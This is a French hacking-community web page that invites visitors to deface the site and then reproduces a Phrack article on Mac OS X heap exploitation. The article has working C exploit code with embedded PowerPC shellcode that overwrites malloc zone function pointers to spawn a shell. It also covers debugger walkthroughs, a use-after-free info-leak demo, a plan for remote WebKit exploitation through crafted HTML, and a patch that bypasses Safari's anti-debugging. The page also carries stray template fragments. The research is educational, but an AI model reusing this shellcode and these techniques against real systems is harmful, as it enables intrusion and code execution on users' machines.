Plateforme de Hacking


HackBBS.org est une communauté faisant évoluer un système de services vulnérables.

Nous apprenons à exploiter de manière collaborative des solutions permettant de détourner les systèmes d'informations.
Cet apprentissage nous permet d'améliorer les technologies que nous utilisons et/ou de mieux comprendre l'ingénierie social.

Nous défendons les valeurs de l'entraide, du challenge personnel et contribuons modestement à rendre l'expérience des utilisateurs finaux la plus agréable possible.

Vous pouvez nous rencontrer via notre salon irc.
Le forum est en cours de remplacement par une version plus moderne, et tout aussi faillible que l'ancien ^^.
A ce jours nous enregistrons plusieurs dizaines de hack réussi contre notre site, et ce chiffre est en constante évolution. Merci a tous les contributeurs!

La refonte est en version alpha. Cette nouvelle plateforme permet de pentester à distance sans avoir son matériel à disposition.
Via l'exécution de scripts python connecté en websocket à l'ihm web, nous pouvons piloter le chargement de scénario
d'attaque/défense en "multijoueur" ^^.
Le système permet de charger des scripts de bibliothèques partagées et de chiffrer les échanges selon les modules déployés.
Vous trouverez dans la rubrique article de nombreux tutoriels afin de mieux comprendre la sécurité informatique,
ainsi que différents articles plus poussés.
Hacker
  • Sniffing
  • Cracking
  • Buffer overflow
  • Créations d'exploits
  • Social engineering
  • L'anonymat sur le web, spoofing
  • Bypass-proxy, Bypass-firewall
  • Injection de code SSI, SQL, etc...
  • Utilisation d'exploits, création de scripts(php, irc, perl)
We make porn
make a donation
loading...

Please Donate To Bitcoin Address: [[address]]

Donation of [[value]] BTC Received. Thank You.

[[error]]

Nous vous recommandons de sniffer votre réseau lors de votre navigation sur le site. La refonte vous fournira un outillage pour réaliser vos attaques/défenses.

Challenges
Vous pourrez également participer à de nombreux challenges en constant renouvellement (si possible :p)
Dernièrement, les missions relativent aux derniers produits open sources marchent bien :)

Votre ultime challenge sera de défacer HackBBS. De nombreuses failles sont présentes. A vous de les trouver et de les exploiter.

Cet ultime test permettra de constater votre réactions face à une faille.
Black ou White? ^^

Ezine du moment: p63-0x05_OSX_Heap_Exploitation_Technqiues.txt

                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3f, Phile #0x05 of 0x14


|=---------------=[ OsX heap exploitation techniques  ]=----------------=|
|=----------------------------------------------------------------------=|
|=------------------=[ nemo  ]=------------------=|

--[ Table of contents

  1 - Introduction
  2 - Overview of the Apple OS X userland heap implementation 
    2.1 - Environment Variables
    2.2 - Zones
    2.3 - Blocks
    2.4 - Heap initialization 
  3 - A sample overflow 
  4 - A real life example (WebKit)
  5 - Miscellaneous
    5.1 - Wrap-around Bug
    5.2 - Double free()'s
    5.3 - Beating ptrace()
  6 - Conclusion
  7 - References

--[ 1 - Introduction.

This article comes as a result of my experiences exploiting a heap 
overflow in the default web browser (Safari) on Mac OS X. It assumes a 
small amount of knowledge of ppc assembly. A reference for this has
been provided in the references section below. (4). Also, knowledge of 
other memory allocators will come in useful, however it's not necessarily
needed. All code in this paper was compiled and tested on Mac OS X - 
Tiger (10.4) running on PPC32 (power pc) architecture.

--[ 2 - Overview of the Apple OS X userland heap implementation.

The malloc() implementation found in Apple's Libc-391 and earlier (at the
time of writing this) is written by Bertrand Serlet. It is a relatively 
complex memory allocator made up of memory "zones", which are variable 
size portions of virtual memory, and "blocks", which are allocated from 
within these zones. It is possible to have multiple zones, however most 
applications tend to stick to just using the default zone. 

So far this memory allocator is used in all releases of OS X so far. It 
is also used by the Open Darwin project [8] on x86 architecture, however 
this isn't covered in the paper. 

The source for the implementation of the Apple malloc() is available from
[6]. (The current version of the source at the time of writing this is 
10.4.1).

To access it you need to be a member of the ADC, which is free to sign up.
(or if you can't be bothered signing up use the login/password from 
Bug Me Not [7]  ;)

----[ 2.1 - Environment Variables.

A series of environment variables can be set, to modify the behavior of
the memory allocation functions. These can be seen by setting the 
"MallocHelp" variable, and then calling the malloc() function. They are 
also shown in the malloc() manpage. 

We will now look at the variables which are of the most use to us when 
exploiting an overflow.

[ MallocStackLogging ] -:-  When this variable is set a record is kept of
all the malloc operations that occur. With this variable set the "leaks" 
tool can be used to search a processes memory for malloc()'ed buffers 
which are unreferenced.

[ MallocStackLoggingNoCompact ] -:- When this variable is set, the record
of malloc operation is kept in a manner in which the "malloc_history" 
tool is able to parse. The malloc_history tool is used to list the 
allocations and deallocations which have been performed by the process.

[ MallocPreScribble ] -:- This environment variable, can be used to fill 
memory which has been allocated with 0xaa. This can be useful to easily 
see where buffers are located in memory. It can also be useful when 
scripting gdb to investigate the heap.

[ MallocScribble ] -:-  This variable is used to fill de-allocated 
memory with 0x55. This, like MallocPreScribble is useful for 
making it easier to inspect the memory layout. Also this will make 
a program more likely to crash when it's accessing data it's not supposed
to.

[ MallocBadFreeAbort ] -:- This variable causes a SIGABRT to be sent to 
the program when a pointer is passed to free() which is not listed as 
allocated. This can be useful to halt excecution at the exact point an 
error occurred in order to assess what has happened.

NOTE: The "heap" tool can be used to inspect the current heap of a 
process the Zones are displayed as well as any objects which are 
currently allocated. This tool can be used without setting an 
environment variable.

----[ 2.2 - Zones.

A single zone can be thought of a single heap. When the zone is destroyed
all the blocks allocated within it are free()'ed. Zones allow blocks with 
similar attributes to be placed together. The zone itself is described by
a malloc_zone_t struct (defined in /usr/include/malloc.h) which is shown 
below:

 [malloc_zone_t struct]

typedef struct _malloc_zone_t {

    /* Only zone implementors should depend on the layout of this 
    structure; Regular callers should use the access functions below */
    void        *reserved1;     /* RESERVED FOR CFAllocator DO NOT USE */
    void        *reserved2;     /* RESERVED FOR CFAllocator DO NOT USE */
    size_t      (*size)(struct _malloc_zone_t *zone, const void *ptr); 
    void        *(*malloc)(struct _malloc_zone_t *zone, size_t size);
    void        *(*calloc)(struct _malloc_zone_t *zone, size_t num_items, 
		           size_t size); 
    void        *(*valloc)(struct _malloc_zone_t *zone, size_t size); 
    void        (*free)(struct _malloc_zone_t *zone, void *ptr);
    void        *(*realloc)(struct _malloc_zone_t *zone, void *ptr, 
							size_t size);
    void        (*destroy)(struct _malloc_zone_t *zone); 
    const char  *zone_name;

    /* Optional batch callbacks; these may be NULL */
    unsigned    (*batch_malloc)(struct _malloc_zone_t *zone, size_t size, 
				void **results, unsigned num_requested); 
    void        (*batch_free)(struct _malloc_zone_t *zone, 
			void **to_be_freed, unsigned num_to_be_freed); 
    struct malloc_introspection_t       *introspect;
    unsigned    version;
} malloc_zone_t;

(Well, technically zones are scalable szone_t structs, however the first 
element of a szone_t struct consists of a malloc_zone_t struct. This 
struct is the most important for us to be familiar with to exploit heap 
bugs usings the method shown in this paper.)

As you can see, the zone struct contains function pointers for each of the
memory allocation / deallocation functions. This should give you a 
pretty good idea of how we can control execution after an overflow.

Most of these functions are pretty self explanatory, the malloc,calloc,
valloc free, and realloc function pointers perform the same 
functionality they do on Linux/BSD. 

The size function is used to return the size of the memory allocated. The 
destroy() function is used to destroy the entire zone and free all memory
allocated in it. 

The batch_malloc and batch_free functions to the best of my understanding
are used to allocate (or deallocate) several blocks of the same size. 

NOTE:
The malloc_good_size() function is used to return the size of the buffer
after rounding has occurred. An interesting note about this function is 
that it contains the same wrap mentioned in  5.1.

	printf("0x%x\n",malloc_good_size(0xffffffff));

Will print 0x1000 on Mac OSX 10.4 (Tiger).
	
----[ 2.3 - Blocks. 

Allocation of blocks occurs in different ways depending on the size of the
memory required. The size of all blocks allocated is always paragraph 
aligned (a multiple of 16). Therefore an allocation of less than 16 will 
always return 16, an allocation of 20 will return 32, etc. 

The szone_t struct contains two pointers, for tiny and small block 
allocation. These are shown below:

	tiny_region_t       *tiny_regions;
	small_region_t      *small_regions;

Memory allocations which are less than around 500 bytes in size
fall into the "tiny" range. These allocations are allocated from a  
pool of vm_allocate()'ed regions of memory. Each of these regions 
consists of a 1MB, (in 32-bit mode), or 2MB, (in 64-bit mode) heap. 
Following this is some meta-data about the region. Regions are ordered 
by ascending block size. When memory is deallocated it is added back to 
the pool. 


Free blocks contain the following meta-data: 

(all fields are sizeof(void *) in size, except for "size" which is 
sizeof(u_short)). Tiny sized buffers are instead aligned to 0x10 bytes)

- checksum
- previous
- next
- size 

The size field contains the quantum count for the region. A quantum represents 
the size of the allocated blocks of memory within the region.

Allocations of which size falls in the range between 500 bytes and four 
virtual pages in size (0x4000) fall into the "small" category.
Memory allocations of "small" range sized blocks, are allocated from a 
pool of small regions, pointed to by the "small_regions" pointer in the 
szone_t struct. Again this memory is pre-allocated with the vm_allocate()
function. Each "small" region consists of an 8MB heap, followed by the 
same meta-data as tiny regions.

Tiny and small allocations are not always guaranteed to be page aligned.
If a block is allocated which is less than a single virtual page size then
obviously the block cannot be aligned to a page. 

Large block allocations (allocations over four vm pages in size), are 
handled quite differently to the small and tiny blocks. When a large
block is requested, the malloc() routine uses vm_allocate() to obtain the 
memory required. Larger memory allocations occur in the higher memory of
the heap. This is useful in the "destroying the heap" technique, outlined 
in this paper. Large blocks of memory are allocated in multiples of 4096. 
This is the size of a virtual memory page. Because of this, large memory
allocations are always guaranteed to be page-aligned.

----[ 2.4 - Heap initialization. 

As you can see below, the malloc() function is merely a wrapper around
the malloc_zone_malloc() function. 

 void *malloc(size_t size) 
 {
   void  *retval;
	    
   retval = malloc_zone_malloc(inline_malloc_default_zone(), size);
   if (retval == NULL) 
     {
	errno = ENOMEM;
     }
   return retval;
 }
 
It uses the inline_malloc_default_zone() function to pass the appropriate
zone to malloc_zone_malloc(). If malloc() is being called for the first 
time the inline_malloc_default_zone() function calls _malloc_initialize()
in order to create the initial default malloc zone. 

The malloc_create_zone() function is called with the values (0,0) being 
passed in as as the start_size and flags parameters. 

After this the environment variables are read in (any beginning with 
"Malloc"), and parsed in order to set the appropriate flags.  

It then calls the create_scalable_zone() function in the scalable_malloc.c 
file. This function is really responsible for creating the szone_t struct.
It uses the allocate_pages() function as shown below.

 szone = allocate_pages(NULL, SMALL_REGION_SIZE, SMALL_BLOCKS_ALIGN, 0, \ 
			VM_MAKE_TAG(VM_MEMORY_MALLOC));

This, in turn, uses the mach_vm_allocate() mach syscall to allocate the 
required memory to store the s_zone_t default struct. 

-[Summary]:

For the technique contained within this paper, the most important things 
to note is that a szone_t struct is set up in memory. The struct contains 
several function pointers which are used to store the address of each of 
the appropriate allocation and deallocation functions. When a block of 
memory is allocated which falls into the "large" category, the 
vm_allocate() mach syscall is used to allocate the memory for this. 

--[ 3 - A Sample Overflow

Before we look at how to exploit a heap overflow, we will first analyze
how the initial zone struct is laid out in the memory of a running 
process.

To do this we will use gdb to debug a small sample program. This is 
shown below:

	-[nemo@gir:~]$ cat > mtst1.c
	#include 

	int main(int ac, char **av)
	{
		char *a = malloc(10);
		__asm("trap");
		char *b = malloc(10);
	}

	-[nemo@gir:~]$ gcc mtst1.c -o mtst1
	-[nemo@gir:~]$ gdb ./mtst1
	GNU gdb 6.1-20040303 (Apple version gdb-413)
	(gdb) r
	Starting program: /Users/nemo/mtst1 
	Reading symbols for shared libraries . done

Once we receive a SIGTRAP signal and return to the gdb command shell we
can then use the command shown below to locate our initial szone_t 
structure in the process memory. 

	(gdb) x/x &initial_malloc_zones
	0xa0010414 :      0x01800000

This value, as expected inside gdb, is shown to be 0x01800000. 
If we dump memory at this location, we can see each of the fields in the 
_malloc_zone_t_ struct as expected.

NOTE: Output reformatted for more clarity. 

	(gdb) x/x (long*) initial_malloc_zones
	0x1800000:      0x00000000	// Reserved1.
	0x1800004:      0x00000000	// Reserved2.
	0x1800008:      0x90005e0c	// size() pointer.
	0x180000c:      0x90003abc	// malloc() pointer.
	0x1800010:      0x90008bc4	// calloc() pointer.
	0x1800014:      0x9004a9f8	// valloc() pointer.
	0x1800018:      0x900060ac	// free() pointer.
	0x180001c:      0x90017f90	// realloc() pointer.
	0x1800020:      0x9010efb8	// destroy() pointer.
	0x1800024:      0x00300000	// Zone Name 
					//("DefaultMallocZone").
	0x1800028:      0x9010dbe8	// batch_malloc() pointer.
	0x180002c:      0x9010e848	// batch_free() pointer.

In this struct we can see each of the function pointers which are called 
for each of the memory allocation/deallocation functions performed using
the default zone. As well as a pointer to the name of the zone, which can
be useful for debugging.

If we change the malloc() function pointer, and continue our sample 
program (shown below) we can see that the second call to malloc() results 
in a jump to the specified value. (after instruction alignment).

	(gdb) set *0x180000c = 0xdeadbeef
	(gdb) jump *($pc + 4)
	Continuing at 0x2cf8.

	Program received signal EXC_BAD_ACCESS, Could not access memory.
	Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec
	0xdeadbeec in ?? ()
	(gdb) 

But is it really feasible to write all the way to the address 0x1800000?
(or 0x2800000 outside of gdb). We will look into this now.

First we will check the addresses various sized memory allocations are 
given. The location of each buffer is dependant on whether the 
allocation size falls into one of the various sized bins mentioned 
earlier (tiny, small or large).

To test the location of each of these we can simply compile and run the 
following small c program as shown:

	-[nemo@gir:~]$ cat > mtst2.c    
	#include 
	#include 

	int main(int ac, char **av)
	{
		extern *malloc_zones;

		printf("initial_malloc_zones @ 0x%x\n",*malloc_zones);
		printf("tiny:  %p\n",malloc(22));
		printf("small: %p\n",malloc(500));
		printf("large: %p\n",malloc(0xffffffff));
		return 0;
	}
	-[nemo@gir:~]$ gcc mtst2.c -o mtst2
	-[nemo@gir:~]$ ./mtst2 
	initial_malloc_zones @ 0x2800000
	tiny:  0x500160
	small: 0x2800600
	large: 0x26000

From the output of this program we can see that it is only possible to 
write to the initial_malloc_zones struct from a "tiny" or " large" 
buffer. Also, in order to overwrite the function pointers contained within
this struct we need to write a considerable amount of data completely 
destroying sections of the zone. Thankfully many situations exist in 
typical software which allow these criteria to be met. This is discussed
in the final section of this paper.

Now we understand the layout of the heap a little better, we can use a 
small sample program to overwrite the function pointers contained in the 
struct to get a shell. 

The following program allocates a 'tiny' buffer of 22 bytes. It then uses
memset() to write 'A's all the way to the pointer for malloc() in the 
zone struct, before calling malloc().

#include 
#include 
#include 

int main(int ac, char **av)
{
  extern *malloc_zones;
  char *tmp,*tinyp = malloc(22);

  printf("[+] tinyp is @ %p\n",tinyp);
  printf("[+] initial_malloc_zones is @ %p\n", *malloc_zones);			
  printf("[+] Copying 0x%x bytes.\n",
	  (((char *)*malloc_zones + 16) - (char *)tinyp));
  memset(tinyp,'A', (int)(((char *)*malloc_zones + 16) - (char *)tinyp));

  tmp = malloc(0xdeadbeef);
  return 0;
}

However when we compile and run this program, an EXC_BAD_ACCESS signal is 
received.

	(gdb) r
	Starting program: /Users/nemo/mtst3 
	Reading symbols for shared libraries . done
	[+] tinyp is @ 0x300120
	[+] initial_malloc_zones is @ 0x1800000
	[+] Copying 0x14ffef0 bytes.

	Program received signal EXC_BAD_ACCESS, Could not access memory.
	Reason: KERN_INVALID_ADDRESS at address: 0x00405000
	0xffff9068 in ___memset_pattern () 

This is due to the fact that, in between the tinyp pointer and the malloc
function pointer we are trying to overwrite there is some unmapped memory. 

In order to get past this we can use the fact that blocks of memory 
allocated which fall into the "large" category are allocated using the 
mach vm_allocate() syscall. 

If we can get enough memory to be allocated in the large classification,
before the overflow occurs we should have a clear path to the pointer.

To illustrate this point, we can use the following code:

#include 
#include 
#include 
#include 

char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68";

extern *malloc_zones;

int    main(int ac, char **av)
{
 char  *tmp, *tmpr;
 int   a=0 , *addr;

 while ((tmpr = malloc(0xffffffff)) <= (char *)*malloc_zones);
				
 // small buffer
 addr = malloc(22);              
 printf("[+] malloc_zones (first zone) @ 0x%x\n", *malloc_zones);
 printf("[+] addr @ 0x%x\n",addr);

 if ((unsigned int) addr < *malloc_zones) 
 {
    printf("[+] addr + %u = 0x%x\n",
	   *malloc_zones - (int) addr, *malloc_zones);
    exit(1);
 }

 printf("[+] Using shellcode @ 0x%x\n",&shellcode);

 for (a = 0; 
      a <= ((*malloc_zones - (int) addr) + sizeof(malloc_zone_t)) / 4;
      a++)
   addr[a] = (int) &shellcode[0];

 printf("[+] finished memcpy()\n");
 
 tmp = malloc(5);        // execve()

}

This code allocates enough "large" blocks of memory (0xffffffff) with 
which to plow a clear path to the function pointers. It then copies 
the address of the shellcode into memory all the way through the zone
before overwriting the function pointers in the szone_t struct. Finally a
call to malloc() is made in order to trigger the execution of the 
shellcode.

As you can see below, this code function as we'd expect and our 
shellcode is executed.

	-[nemo@gir:~]$ ./heaptst 
	[+] malloc_zones (first zone) @ 0x2800000
	[+] addr @ 0x500120
	[+] addr + 36699872 = 0x2800000
	[+] Using shellcode @ 0x3014
	[+] finished memcpy()
	sh-2.05b$ 

This method has been tested on Apple's OSX version 10.4.1 (Tiger).

--[ 4 - A Real Life Example

The default web browser on OSX (Safari) as well as the mail client 
(Mail.app), Dashboard and almost every other application on OSX which 
requires web parsing functionality achieve this through a library 
which Apple call "WebKit". (2)

This library contains many bugs, many of which are exploitable using this
technique. Particular attention should be payed to the code which renders 
blocks ;) Due to the nature of HTML pages an attacker is presented with opportunities to control the heap in a variety of ways before actually triggering the exploit. In order to use the technique described in this paper to exploit these bugs we can craft some HTML code, or an image file, to perform many large allocations and therefore cleaving a path to our function pointers. We can then trigger one of the numerous overflows to write the address of our shellcode into the function pointers before waiting for a shell to be spawned. One of the bugs which i have exploited using this particular method involves an unchecked length being used to allocate and fill an object in memory with null bytes (\x00). If we manage to calculate the write so that it stops mid way through one of our function pointers in the szone_t struct, we can effectively truncate the pointer causing execution to jump elsewhere. The first step to exploiting this bug, is to fire up the debugger (gdb) and look at what options are available to us. Once we have Safari loaded up in our debugger, the first thing we need to check for the exploit to succeed is that we have a clear path to the initial_malloc_zones struct. To do this in gdb we can put a breakpoint on the return statement in the malloc() function. We use the command "disas malloc" to view the assembly listing for the malloc function. The end of this listing is shown below: ..... 0x900039dc : lwz r0,8(r1) 0x900039e0 : lmw r24,-32(r1) 0x900039e4 : lwz r11,4(r1) 0x900039e8 : mtlr r0 0x900039ec : .long 0x7d708120 0x900039f0 : blr 0x900039f4 : .long 0x0 The "blr" instruction shown at line 0x900039f0 is the "branch to link register" instruction. This instruction is used to return from malloc(). Functions in OSX on PPC architecture pass their return value back to the calling function in the "r3" register. In order to make sure that the malloc()'ed addresses have reached the address of our zone struct we can put a breakpoint on this instruction, and output the value which was returned. We can do this with the gdb commands shown below. (gdb) break *0x900039f0 Breakpoint 1 at 0x900039f0 (gdb) commands Type commands for when breakpoint 1 is hit, one per line. End with a line saying just "end". >i r r3 >cont >end We can now continue execution and receive a running status of all allocations which occur in our program. This way we can see when our target is reached. The "heap" tool can also be used to see the sizes and numbers of each allocation. There are several methods which can be used to set up the heap correctly for exploitation. One method, suggested by andrewg, is to use a .png image in order to control the sizes of allocations which occur. Apparently this method was learnt from zen-parse when exploiting a mozilla bug in the past. The method which i have used is to create an HTML page which repeatedly triggers the overflow with various sizes. After playing around with this for a while, it was possible to regularly allocate enough memory for the overflow to occur. Once the limit is reached, it is possible to trigger the overflow in a way which overwrites the first few bytes in any of the pointers in the szone_t struct. Because of the big endian nature of PPC architecture (by default. it can be changed.) the first few bytes in the pointer make all the difference and our truncated pointer will now point to the .TEXT segment. The following gdb output shows our initial_malloc_zones struct after the heap has been smashed. (gdb) x/x (long )*&initial_malloc_zones 0x1800000: 0x00000000 // Reserved1. (gdb) 0x1800004: 0x00000000 // Reserved2. (gdb) 0x1800008: 0x00000000 // size() pointer. (gdb) 0x180000c: 0x00003abc // malloc() pointer. (gdb) ^^ smash stopped here. 0x1800010: 0x90008bc4 As you can see, the malloc() pointer is now pointing to somewhere in the .TEXT segment, and the next call to malloc() will take us there. We can use gdb to view the instructions at this address. As you can see in the following example. (gdb) x/2i 0x00003abc 0x3abc: lwz r4,0(r31) 0x3ac0: bl 0xd686c Here we can see that the r31 register must be a valid memory address for a start following this the dyld_stub_objc_msgSend() function is called using the "bl" (branch updating link register) instruction. Again we can use gdb to view the instructions in this function. (gdb) x/4i 0xd686c 0xd686c : lis r11,14 0xd6870 : lwzu r12,-31732(r11) 0xd6874 : mtctr r12 0xd6878 : bctr We can see in these instructions that the r11 register must be a valid memory address. Other than that the final two instructions (0xd6874 and 0xd6878) move the value in the r12 register to the control register, before branching to it. This is the equivilant of jumping to a function pointer in r12. Amazingly this code construct is exactly what we need. So all that is needed to exploit this vulnerability now, is to find somewhere in the binary where the r12 register is controlled by the user, directly before the malloc function is called. Although this isn't terribly easy to find, it does exist. However, if this code is not reached before one of the pointers contained on the (now smashed) heap is used the program will most likely crash before we are given a chance to steal execution flow. Because of this fact, and because of the difficult nature of predicting the exact values with which to smash the heap, exploiting this vulnerability can be very unreliable, however it definitely can be done. Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec 0xdeadbeec in ?? () (gdb) An exploit for this vulnerability means that a crafted email or website is all that is needed to remotely exploit an OSX user. Apple have been contacted about a couple of these bugs and are currently in the process of fixing them. The WebKit library is open source and available for download, apparently it won't be too long before Nokia phones use this library for their web applications. [5] --[ 5 - Miscellaneous This section shows a couple of situations / observations regarding the memory allocator which did not fit in to any of the other sections. ----[ 5.1 - Wrap-around Bug. The examples in this paper allocated the value 0xffffffff. However this amount is not technically feasible for a malloc implementation to allocate each time. The reason this works without failure is due to a subtle bug which exists in the Darwin kernel's vm_allocate() function. This function attempts to round the desired size it up to the closest page aligned value. However it accomplishes this by using the vm_map_round_page() macro (shown below.) #define PAGE_MASK (PAGE_SIZE - 1) #define PAGE_SIZE vm_page_size #define vm_map_round_page(x) (((vm_map_offset_t)(x) + \ PAGE_MASK) & ~((signed)PAGE_MASK)) Here we can see that the page size minus one is simply added to the value which is to be rounded before being bitwise AND'ed with the reverse of the PAGE_MASK. The effect of this macro when rounding large values can be illustrated using the following code: #include #define PAGEMASK 0xfff #define vm_map_round_page(x) ((x + PAGEMASK) & ~PAGEMASK) int main(int ac, char **av) { printf("0x%x\n",vm_map_round_page(0xffffffff)); } When run (below) it can be seen that the value 0xffffffff will be rounded to 0. -[nemo@gir:~]$ ./rounding 0x0 Directly below the rounding in vm_allocate() is performed there is a check to make sure the rounded size is not zero. If it is zero then the size of a page is added to it. Leaving only a single page allocated. map_size = vm_map_round_page(size); if (map_addr == 0) map_addr += PAGE_SIZE; The code below demonstrates the effect of this on two calls to malloc(). #include #include int main(int ac, char **av) { char *a = malloc(0xffffffff); char *b = malloc(0xffffffff); printf("B - A: 0x%x\n", b - a); return 0; } When this program is compiled and run (below) we can see that although the programmer believes he/she now has a 4GB buffer only a single page has been allocated. -[nemo@gir:~]$ ./ovrflw B - A: 0x1000 This means that most situations where a user specified length can be passed to the malloc() function, before being used to copy data, are exploitable. This bug was pointed out to me by duke. ----[ 5.2 - Double free(). Bertrand's allocator keeps track of the addresses which are currently allocated. When a buffer is free()'ed the find_registered_zone() function is used to make sure that the address which is requested to be free()'ed exists in one of the zones. This check is shown below. void free(void *ptr) { malloc_zone_t *zone; if (!ptr) return; zone = find_registered_zone(ptr, NULL); if (zone) { malloc_zone_free(zone, ptr); } else { malloc_printf("*** Deallocation of a pointer not malloced: %p; " "This could be a double free(), or free() called " "with the middle of an allocated block; " "Try setting environment variable MallocHelp to see " "tools that help to debug\n", ptr); if (malloc_free_abort) abort(); } } This means that an address free()'ed twice (double free) will not actually be free()'ed the second time. Making it hard to exploit double free()'s in this way. However, when a buffer is allocated of the same size as the previous buffer and free()'ed, but the pointer to the free()'ed buffer still exists and is used an exploitable condition can occur. The small sample program below shows a pointer being allocated and free()ed and then a second pointer being allocated of the same size. Then free()ed twice. #include #include #include int main(int ac, char **av) { char *b,*a = malloc(11); printf("a: %p\n",a); free(a); b = malloc(11); printf("b: %p\n",b); free(b); printf("b: %p\n",a); free(b); printf("a: %p\n",a); return 0; } When we compile and run it, as shown below, we can see that pointer "a" still points to the same address as "b", even after it was free()'ed. If this condition occurs and we are able to write to,or read from, pointer "a", we may be able to exploit this for an info leak, or gain control of execution. -[nemo@gir:~]$ ./dfr a: 0x500120 b: 0x500120 b: 0x500120 tst(3575) malloc: *** error for object 0x500120: double free tst(3575) malloc: *** set a breakpoint in szone_error to debug a: 0x500120 I have written a small sample program to explain more clearly how this works. The code below reads a username and password from the user. It then compares password to one stored in the file ".skrt". If this password is the same, the secret code is revealed. Otherwise an error is printed informing the user that the password was incorrect. #include #include #include #include #define PASSWDFILE ".skrt" int main(int ac, char **av) { char *user = malloc(128 + 1); char *p,*pass = "" ,*skrt = NULL; FILE *fp; printf("login: "); fgets(user,128,stdin); if (p = strchr(user,'\n')) *p = '\x00'; // If the username contains "admin_", exit. if(strstr(user,"admin_")) { printf("Admin user not allowed!\n"); free(user); fflush(stdin); goto exit; } pass = getpass("Enter your password: "); exit: if ((fp = fopen(PASSWDFILE,"r")) == NULL) { printf("Error loading password file.\n"); exit(1); } skrt = malloc(128 + 1); if (!fgets(skrt,128,fp)) { exit(1); } if (p = strchr(skrt,'\n')) *p = '\x00'; if (!strcmp(pass,skrt)) { printf("The combination is 2C,4B,5C\n"); } else { printf("Password Rejected for %s, please try again\n"); user); } fclose(fp); return 0; } When we compile the program and enter an incorrect password we see the following message: -[nemo@gir:~]$ ./dfree login: nemo Enter your password: Password Rejected for nemo, please try again. However, if the "admin_" string is detected in the string, the user buffer is free()'ed. The skrt buffer is then returned from malloc() pointing to the same allocated block of memory as the user pointer. This would normally be fine however the user buffer is used in the printf() function call at the end of the function. Because the user pointer still points to the same memory as skrt this causes an info-leak and the secret password is printed, as seen below: -[nemo@gir:~]$ ./dfree login: admin_nemo Admin user not allowed! Password Rejected for secret_password, please try again. We can then use this password to get the combination: -[nemo@gir:~]$ ./dfree login: nemo Enter your password: The combination is 2C,4B,5C ----[ 5.3 - Beating ptrace() Safari uses the ptrace() syscall to try and stop evil hackers from debugging their proprietary code. ;). The extract from the man-page below shows a ptrace() flag which can be used to stop people being able to debug your code. PT_DENY_ATTACH This request is the other operation used by the traced process; it allows a process that is not currently being traced to deny future traces by its parent. All other arguments are ignored. If the process is currently being traced, it will exit with the exit status of ENOTSUP; oth- erwise, it sets a flag that denies future traces. An attempt by the parent to trace a process which has set this flag will result in a segmentation violation in the parent. There are a couple of ways to get around this check (which i am aware of). The first of these is to patch your kernel to stop the PT_DENY_ATTACH call from doing anything. This is probably the best way, however involves the most effort. The method which we will use now to look at Safari is to start up gdb and put a breakpoint on the ptrace() function. This is shown below: -[nemo@gir:~]$ gdb /Applications/Safari.app/Contents/MacOS/Safari GNU gdb 6.1-20040303 (Apple version gdb-413) (gdb) break ptrace Breakpoint 1 at 0x900541f4 We then run the program, and wait until the breakpoint is hit. When our breakpoint is triggered, we use the x/10i $pc command (below) to view the next 10 instructions in the function. (gdb) r Starting program: /Applications/Safari.app/Contents/MacOS/Safari Reading symbols for shared libraries .................... done Breakpoint 1, 0x900541f4 in ptrace () (gdb) x/10i $pc 0x900541f4 : addis r8,r8,4091 0x900541f8 : lwz r8,7860(r8) 0x900541fc : stw r7,0(r8) 0x90054200 : li r0,26 0x90054204 : sc 0x90054208 : b 0x90054210 0x9005420c : b 0x90054230 0x90054210 : mflr r0 0x90054214 : bcl- 20,4*cr7+so,0x90054218 0x90054218 : mflr r12 At line 0x90054204 we can see the instruction "sc" being executed. This is the instruction which calls the syscall itself. This is similar to int 0x80 on a linux platform, or sysenter/int 0x2e in windows. In order to stop the ptrace() syscall from occurring we can simply replace this instruction in memory with a nop (no operation) instruction. This way the syscall will never take place and we can debug without any problems. To patch this instruction in gdb we can use the command shown below and continue execution. (gdb) set *0x90054204 = 0x60000000 (gdb) continue --[ 6 - Conclusion Although the technique which was described in this paper seem rather specific, the technique is still valid and exploitation of heap bugs in this way is definitly possible. When you are able to exploit a bug in this way you can quickly turn a complicated bug into the equivilant of a simple stack smash (3). At the time of writing this paper, no protection schemes for the heap exist for Mac OS X which would stop this technique from working. (To my knowledge). On a side note, if anyone works out why the initial_malloc_zones struct is always located at 0x2800000 outside of gdb and 0x1800000 inside i would appreciate it if you let me know. I'd like to say thanks to my boss Swaraj from Suresec LTD for giving me time to research the things which i enjoy so much. I'd also like to say hi to all the guys at Feline Menace, as well as pulltheplug.org/#social and the Ruxcon team. I'd also like to thank the Chelsea for providing the AU felinemenace guys with buckets of corona to fuel our hacking. Thanks as well to duke for pointing out the vm_allocate() bug and ilja for discussing all of this with me on various occasions. "Free wd jail mitnick!" --[ 7 - References 1) Apple Memory Usage performance Guidelines: - http://developer.apple.com/documentation/Performance/Conceptual/ ManagingMemory/Articles/MemoryAlloc.html 2) WebKit: - http://webkit.opendarwin.org/ 3) Smashing the stack for fun and profit: - http://www.phrack.org/show.php?p=49&a=14 4) Mac OS X Assembler Guide - http://developer.apple.com/documentation/DeveloperTools/ Reference/Assembler/index.html 5) Slashdot - Nokia Using WebKit - http://apple.slashdot.org/article.pl?sid=05/06/13/1158208 6) Darwin Source. - http://www.opensource.apple.com/darwinsource/curr.version.number 7) Bug Me Not - http://www.bugmenot.com 8) Open Darwin - http://www.opendarwin.org |=[ EOF ]=--------------------------------------------------------------=|

Manifest
Le but de ce site est de mieux comprendre la sécurité informatique.
Un hacker par définition est une personne qui cherche à améliorer les systèmes d'information dans le seul et unique but de contribuer à la stabilité de ces systèmes!
La croyance populaire laisse entendre que les hackers sont des pirates.
